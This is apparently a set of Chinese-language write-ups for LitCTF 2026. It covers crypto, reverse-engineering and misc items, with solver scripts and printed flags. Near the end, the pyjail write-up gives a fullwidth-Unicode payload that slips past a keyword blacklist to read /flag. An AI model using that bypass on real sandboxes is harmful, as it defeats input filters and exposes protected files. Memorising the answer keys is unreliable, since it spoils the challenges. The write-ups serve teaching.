出题时用 gmpy2.next_prime 从随机素数 p 开始迭代若干步得到 q步数不需要你在解题时知道:你只要看到 n,c,e,暴力分解用费马即可。README 里解释「相邻素数步进」是为了 剧情与思维建模,不是解题必要条件。

完整脚本在哪里

同级目录 solve.py:读 output.txt → 费马分解 → RSA 解密 → 打印 flag。

想扩展阅读

lit_tiny_key_aes

这道题在考什么

AES-128 的密钥长度是 16 字节。本题假设密钥前 13 字节被运维写死在配置里(LitCTF2026!!!),只有最后 3 字节随机。这样在离线环境下,你可以 穷举所有可能的后缀(共 256^3 = 16{,}777{,}216 种),对每个候选密钥做一次解密,看谁解出来是合法明文(看起来像 flag)。

读完应掌握:

  • AES ECB 模式在「同一密钥」下对每个 16 字节块独立加密;
  • PKCS#7 填充:明文长度不是块长的整数倍时,末尾补若干字节的「补了几」;
  • 用小脚本 枚举 itertools.product(range(256), repeat=3) 并配合 unpad 筛掉错误密钥。

为什么能暴力

完整密钥空间是 2^{128},根本不可遍历。但本题 只有 3 个未知字节,枚举量是 256^3。在普通笔记本上,用 Python 做一次 AES 解密很快,整体往往在 数十秒到一两分钟 量级(取决于解释器与 CPU),对比赛/练习是可接受的「小暴力」。

AES-ECB + PKCS#7 在代码里长什么样

出题脚本里大致做了两件事:

  1. key = KEY_PREFIX + 未知三字节(总长 16 字节);
  2. cipher = AES.new(key, AES.MODE_ECB),对 pad(plaintext, 16) 的结果加密。

解密侧要对每个猜测的 key

  1. pt = cipher.decrypt(ciphertext)
  2. unpad(pt, 16):若填充非法,会抛 ValueError —— 说明这个密钥不对,换下一组三字节;
  3. 填合法时,再检查 pt.startswith(b"litctf{") 以及结尾是否像 },避免误判。

解题步骤(建议照做)

  1. output.txt 读密文 c。题目里是 Python 的 repr 形式(b"..."),可以用 ast.literal_eval 安全转成 bytes
  2. 固定前缀:KEY_PREFIX = b"LitCTF2026!!!"(与 README/源码一致)。
  3. 三层循环遍历 a,b,c ∈ [0,255],拼 key = KEY_PREFIX + bytes([a,b,c])
  4. AES.new(key, AES.MODE_ECB).decrypt(c),再 unpad
  5. 成功后打印 UTF-8 字符串即为 flag。

为什么不用手猜填充

PKCS#7 的最后一个字节会告诉你「补了多少字节」。错误密钥解出来几乎总是乱码,unpad 会立刻报错 —— 相当于免费帮你 批量筛掉 99.999% 的错误 key

新手常见坑

  • 只枚举可打印字符:未知字节是任意 字节值 0\sim255,不要限制成「可见 ASCII」。
  • 忘记前缀长度:必须是 13(LitCTF2026!!!)+ 3,凑满 16。
  • 暴力很慢:若你把循环写错成 256^4 或重复创建大量对象,会慢很多;先保证逻辑与 solve.py 一致再谈优化。

完整脚本在哪里

同级目录的 solve.py。其核心结构就是:product(range(256), repeat=3) + decrypt + unpad + 前缀检查。

想扩展阅读

->REVERSE方向

lit_rc4_variant

考点

RC4 风格 的初始化 + 交换 + 流式异或,但状态为 64、keystream 为 S[v7] + S[v10](模 256),与标准 RC4 不同。

步骤

  1. 提取 g_keyg_cipher
  2. 在 Python 中按 C 逻辑仿写 rc4_variant_crypt
  3. 对密文执行同一函数(异或自逆)得到明文 flag。

验证

python solve.py 应打印 secret.FLAG

solve.py:

#!/usr/bin/env python3
"""裁判:验证 RC4 魔改。"""
from __future__ import annotations

import importlib.util
import pathlib

ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)


def rc4_variant_crypt(data: bytearray, key: bytes) -> None:
    s_box = list(range(64))
    buf = [key[i % len(key)] for i in range(64)]
    j = 0
    for i in range(64):
        j = (buf[i] + s_box[i] + j) % 64
        s_box[i], s_box[j] = s_box[j], s_box[i]
    v10 = 0
    v9 = 0
    for n in range(len(data)):
        v10 = (v10 + 1) % 64
        v9 = (s_box[v10] + v9) % 64
        s_box[v10], s_box[v9] = s_box[v9], s_box[v10]
        v7 = (s_box[v10] + s_box[v9]) & 63
        data[n] ^= (s_box[v7] + s_box[v10]) & 0xFF


def main() -> None:
    key = secret.KEY_STR.encode()
    plain = bytearray(secret.FLAG.encode())
    rc4_variant_crypt(plain, key)
    dec = bytearray(plain)
    rc4_variant_crypt(dec, key)
    assert dec.decode() == secret.FLAG
    print(secret.FLAG)


if __name__ == "__main__":
    main()

lit_tea_standard

考点

标准 TEA 分组长度为 8 字节,密钥 128 bit(4×uint32),结合 PKCS#7 填充。

步骤

  1. .rdata 提取 g_keyg_cipher
  2. 实现 TEA 解密(32 轮逆序,sum0x9E3779B9 * 32 递减)。
  3. 分块解密后按 PKCS#7 去掉末尾填充字节。

验证

python solve.py 应打印 secret.FLAG

solve.py:

#!/usr/bin/env python3
"""裁判:用 secret 中的 KEY 与 FLAG 验证 TEA 加解密。"""
from __future__ import annotations

import importlib.util
import pathlib
import struct

ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)


def pkcs7_pad(data: bytes, block: int = 8) -> bytes:
    n = block - (len(data) % block)
    if n == 0:
        n = block
    return data + bytes([n]) * n


def tea_encrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
    s = 0
    delta = 0x9E3779B9
    for _ in range(32):
        s = (s + delta) & 0xFFFFFFFF
        v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + s) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
        v1 = (v1 + (((v0 << 4) + k[2]) ^ (v0 + s) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
    return v0, v1


def tea_decrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
    delta = 0x9E3779B9
    s = (delta * 32) & 0xFFFFFFFF
    for _ in range(32):
        v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + s) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
        v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + s) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
        s = (s - delta) & 0xFFFFFFFF
    return v0, v1


def main() -> None:
    k = list(secret.KEY_U32)
    raw = secret.FLAG.encode()
    padded = pkcs7_pad(raw, 8)
    buf = bytearray(padded)
    for i in range(0, len(buf), 8):
        v0, v1 = struct.unpack_from("<II", buf, i)
        v0, v1 = tea_encrypt_block(v0, v1, k)
        struct.pack_into("<II", buf, i, v0, v1)
    dec = bytearray()
    for i in range(0, len(buf), 8):
        v0, v1 = struct.unpack_from("<II", buf, i)
        v0, v1 = tea_decrypt_block(v0, v1, k)
        dec += struct.pack("<II", v0, v1)
    pad = dec[-1]
    assert bytes(dec[:-pad]).decode() == secret.FLAG
    print(secret.FLAG)


if __name__ == "__main__":
    main()

lit_b64_alphabet

考点

识别 自定义字母表的 Base64:分组与标准 Base64 相同,仅置换 64 字符表。

步骤

  1. .rdata 提取 64 字符g_alphabet 与较长串 g_expected
  2. 建立 char -> 6-bit index 逆表(= 不参与下标)。
  3. g_expected 按 4 字符一组还原 24 bit,再拆成 3 字节(注意 = 数量决定输出字节数)。
  4. 得到 ASCII flag。

验证

python solve.py(依赖 secret.py)应打印当前 flag。解码实现需与 challenge_gen.py 中编码一致。

solve.py:

#!/usr/bin/env python3
"""裁判:用与 challenge_gen 相同的种子还原字母表并解码密文。"""
from __future__ import annotations

import importlib.util
import pathlib
import random

ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)

STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


def custom_b64_encode(raw: bytes, alphabet: str) -> str:
    out: list[str] = []
    n = len(raw)
    i = 0
    while i < n:
        rem = n - i
        a = raw[i]
        b = raw[i + 1] if rem >= 2 else 0
        c = raw[i + 2] if rem >= 3 else 0
        triple = (a << 16) | (b << 8) | c
        out.append(alphabet[(triple >> 18) & 63])
        out.append(alphabet[(triple >> 12) & 63])
        if rem >= 3:
            out.append(alphabet[(triple >> 6) & 63])
            out.append(alphabet[triple & 63])
        elif rem == 2:
            out.append(alphabet[(triple >> 6) & 63])
            out.append("=")
        else:
            out.append("=")
            out.append("=")
        i += 3
    return "".join(out)


def custom_b64_decode(enc: str, alphabet: str) -> bytes:
    inv = {c: i for i, c in enumerate(alphabet)}
    out = bytearray()
    i = 0
    while i < len(enc):
        quad = enc[i : i + 4]
        if len(quad) < 4:
            break
        vals = []
        for ch in quad:
            if ch == "=":
                vals.append(None)
            else:
                vals.append(inv[ch])
        acc = 0
        bits = 0
        for v in vals:
            if v is None:
                break
            acc = (acc << 6) | v
            bits += 6
        pad = vals.count(None)
        nbytes = 3 - pad if pad <= 2 else 0
        if nbytes == 3:
            out.append((acc >> 16) & 0xFF)
            out.append((acc >> 8) & 0xFF)
            out.append(acc & 0xFF)
        elif nbytes == 2:
            out.append((acc >> 10) & 0xFF)
            out.append((acc >> 2) & 0xFF)
        elif nbytes == 1:
            out.append((acc >> 4) & 0xFF)
        i += 4
    return bytes(out)


def main() -> None:
    rng = random.Random(0x20260419)
    chars = list(STANDARD)
    rng.shuffle(chars)
    alphabet = "".join(chars)
    enc = custom_b64_encode(secret.FLAG.encode(), alphabet)
    dec = custom_b64_decode(enc, alphabet)
    assert dec.decode() == secret.FLAG
    print(secret.FLAG)


if __name__ == "__main__":
    main()

lit_xor_chain

考点

识别 逐字节变换(异或 + 加法)与 常量数组比对,并正确做 模 256 意义下的逆运算

步骤

  1. IDA 打开 challenge.exemain 中可见 scanfstrlen 与循环。
  2. 循环内模式:input[i] ^ 0x52+ 5、与 g_expected[i] 比较(具体立即数以二进制为准)。
  3. 逆推:c = ((t - 5) mod 256) ^ 0x52
  4. .rdata 中的 g_expected 整表导出或在反汇编里复制,用脚本逐字节恢复。

验证

运行同级 solve.py(需 secret.py)应打印当前 flag。

solve.py:

#!/usr/bin/env python3
"""裁判脚本:从 secret.FLAG 复现校验数组并验证逆运算。"""
from __future__ import annotations

import importlib.util
import pathlib

ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)

XOR_K = 0x52
ADD_K = 5


def forward_byte(b: int) -> int:
    return ((b ^ XOR_K) + ADD_K) & 0xFF


def recover_byte(t: int) -> int:
    return ((t - ADD_K) % 256) ^ XOR_K


def main() -> None:
    flag = secret.FLAG.encode()
    enc = [forward_byte(x) for x in flag]
    dec = bytes(recover_byte(t) for t in enc)
    assert dec.decode() == secret.FLAG
    print(dec.decode())


if __name__ == "__main__":
    main()

lit_xtea_tweak

考点

XTEA 结构识别;魔改点为轮常数 delta = 0xDEADBEEF(非 0x9E3779B9)。填充为 PKCS#7

步骤

  1. 提取 g_keyg_cipher;注意到 DELTA_XOR 或汇编中的立即数。
  2. 使用 同一 delta 实现解密:sum 初值 delta * 32(模 2^{32}),每轮先逆 v1sum -= delta 再逆 v0
  3. 去填充得 flag。

验证

python solve.py 应输出 secret.FLAG

solve.py:

#!/usr/bin/env python3
"""裁判:验证魔改 delta 的 XTEA。"""
from __future__ import annotations

import importlib.util
import pathlib
import struct

ROOT = pathlib.Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("secret", ROOT / "secret.py")
secret = importlib.util.module_from_spec(spec)
assert spec.loader is not None
spec.loader.exec_module(secret)

DELTA = 0xDEADBEEF


def pkcs7_pad(data: bytes, block: int = 8) -> bytes:
    n = block - (len(data) % block)
    if n == 0:
        n = block
    return data + bytes([n]) * n


def xtea_encrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
    s = 0
    for _ in range(32):
        v0 = (
            v0
            + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ ((s + k[s & 3]) & 0xFFFFFFFF))
        ) & 0xFFFFFFFF
        s = (s + DELTA) & 0xFFFFFFFF
        v1 = (
            v1
            + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((s + k[(s >> 11) & 3]) & 0xFFFFFFFF))
        ) & 0xFFFFFFFF
    return v0, v1


def xtea_decrypt_block(v0: int, v1: int, k: list[int]) -> tuple[int, int]:
    s = (DELTA * 32) & 0xFFFFFFFF
    for _ in range(32):
        v1 = (
            v1
            - ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((s + k[(s >> 11) & 3]) & 0xFFFFFFFF))
        ) & 0xFFFFFFFF
        s = (s - DELTA) & 0xFFFFFFFF
        v0 = (
            v0
            - ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ ((s + k[s & 3]) & 0xFFFFFFFF))
        ) & 0xFFFFFFFF
    return v0, v1


def main() -> None:
    k = list(secret.KEY_U32)
    raw = secret.FLAG.encode()
    padded = pkcs7_pad(raw, 8)
    buf = bytearray(padded)
    for i in range(0, len(buf), 8):
        v0, v1 = struct.unpack_from("<II", buf, i)
        v0, v1 = xtea_encrypt_block(v0, v1, k)
        struct.pack_into("<II", buf, i, v0, v1)
    dec = bytearray()
    for i in range(0, len(buf), 8):
        v0, v1 = struct.unpack_from("<II", buf, i)
        v0, v1 = xtea_decrypt_block(v0, v1, k)
        dec += struct.pack("<II", v0, v1)
    pad = dec[-1]
    assert bytes(dec[:-pad]).decode() == secret.FLAG
    print(secret.FLAG)


if __name__ == "__main__":
    main()

->MISC方向

lit_lsb_base64

stego.png

预期解法

  1. 使用 Aperi’Solve / StegOnline,在 Extract LSB 中勾选 R 通道、bit 0,得到一段 Base64 文本。
  2. Base64 解码得到 flag:LitCTF{lsb_1s_fun_w1th_b4s3_64}

验证脚本(命题用)

嵌入格式:4 字节大端长度 + Base64 文本的 ASCII 字节(不含换行)。

import base64
import struct
from PIL import Image

im = Image.open("stego.png").convert("RGB")
bits = []
for y in range(im.height):
    for x in range(im.width):
        r, _, _ = im.getpixel((x, y))
        bits.append(r & 1)

def bits_to_bytes(bits):
    out = bytearray()
    for i in range(0, len(bits) - 7, 8):
        out.append(int("".join(str(b) for b in bits[i : i + 8]), 2))
    return bytes(out)

raw = bits_to_bytes(bits)
n = struct.unpack(">I", raw[:4])[0]
b64 = raw[4 : 4 + n]
print(base64.b64decode(b64).decode())

重赛

修改 challenge_gen.pyFLAG 后重新运行。

lit_rush_qr

rush.gif

预期解法

  1. rush.gif 拆帧(在线工具或 ffmpeg -i rush.gif fr_%03d.png)。
  2. 找到包含残缺 QR 的帧(本题 GIF 中该帧会重复出现)。
  3. 尝试直接手机扫码;若失败,用图像编辑补全 左下、右上 两处 finder pattern(或整体对照标准 QR 定位角手绘黑色方块)。
  4. 扫码得到 flag:LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}

命题说明

QR 使用 ERROR_CORRECT_H,数据较短,允许一定缺损仍可读;若设备解码失败,手绘定位角为预期兜底步骤。

Python 脚本

仓库内 solve.pyOpenCV 抽帧解码;失败时按 Version 4 几何从参考码拷贝左下、右上 定位图案 像素后再次解码(依赖见 requirements-solve.txt)。

重赛

修改 challenge_gen.pyFLAG 后重新运行生成器;若版本不再是 V4,需同步调整 solve.pymake_reference_400() 的版本与 n_inner 逻辑。

lit_sstv

预期解法

  1. 使用任意 SSTV 解码器(推荐在线工具)上传 signal.wav
  2. 模式选择 Martin M1(与 challenge_gen.pypysstv.color.MartinM1 一致)。
  3. 从解码得到的图片中读取:LitCTF{sstv_p4t13nc3}

命题说明

  • 分辨率 320×256,16-bit PCM WAV,内容仅为白底黑字 flag,适合新手解码。
  • 生成依赖:pip install pysstv Pillow,运行 python challenge_gen.py

重赛

修改 challenge_gen.pyFLAG 后重新生成 signal.wav

lit_welcome

welcome.png
welcome_enhanced.png

预期解法

  1. 打开 welcome.png。
  2. 隐藏文字颜色接近背景色,可通过全选复制到文本编辑器,或在图片工具中拉高亮度/对比度查看。
  3. 读出并提交 LitCTF{w3lc0m3_t0_m1sc_w0rld}。

Pillow 验证脚本:

from PIL import Image, ImageChops, ImageEnhance, ImageOps

img = Image.open("welcome.png").convert("RGB")
white = Image.new("RGB", img.size, (255, 255, 255))
diff = ImageChops.difference(img, white)
diff = ImageEnhance.Contrast(diff).enhance(100.0)
gray = ImageOps.grayscale(diff)
gray = ImageOps.autocontrast(gray, cutoff=0)
gray = ImageEnhance.Sharpness(gray.convert("RGB")).enhance(2.0).convert("L")
gray.save("welcome_enhanced.png")

打开 welcome_enhanced.png 后即可肉眼读出 flag。

lit_pyjail_unicode

预期解法

  1. 阅读 jail.pybanned() 对原始输入做 ASCII 关键字匹配,且拦截 \u\x 等转义把戏。
  2. 使用 Unicode 全角字母 拼出内建函数名 open,例如字符 U+FF4F / FF50 / FF45 / FF4F(open)。
  3. 一行表达式:
open("/flag").read()
  1. eval() 成功后服务端 repr() 输出 flag 字符串。

原理简述

CPython 在解析源码时将符合规范的 Unicode 标识符规范化;全角兼容字形的字母序列可作为 同一内建名 open 的拼写,而简单子串黑名单不会命中 ASCII 子串 open

运维

lit_pyjail_reader 共用同一套 entrypoint 环境变量约定。

lit_pyjail_reader

预期解法

  1. 使用 nc 连接服务,收到 Please enter the reverse of 'XXXXXXXX' to continue:
  2. XXXXXXXX 反转 后发回一行。
  3. 第一次路径输入 /app/where_is_flag.txt,得到一行 /flag(或平台自定义但本题约定为 /flag)。
  4. 第二次路径输入 /flag,回显即为平台注入的 flag。

自动化

见选手包 solver_template.py:解析单引号内字符串、反转、发送两次路径。

知识点

  • 路径爆破:路径由镜像内 where_is_flag.txt 明示。
  • 考察网络交互与简单字符串操作,为后续真·过滤型 Pyjail 做铺垫。

运维

docker compose 环境变量与 LitCTF-ezssti 相同;真 flag 仅存在于容器内 /flag

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容

    暂无评论内容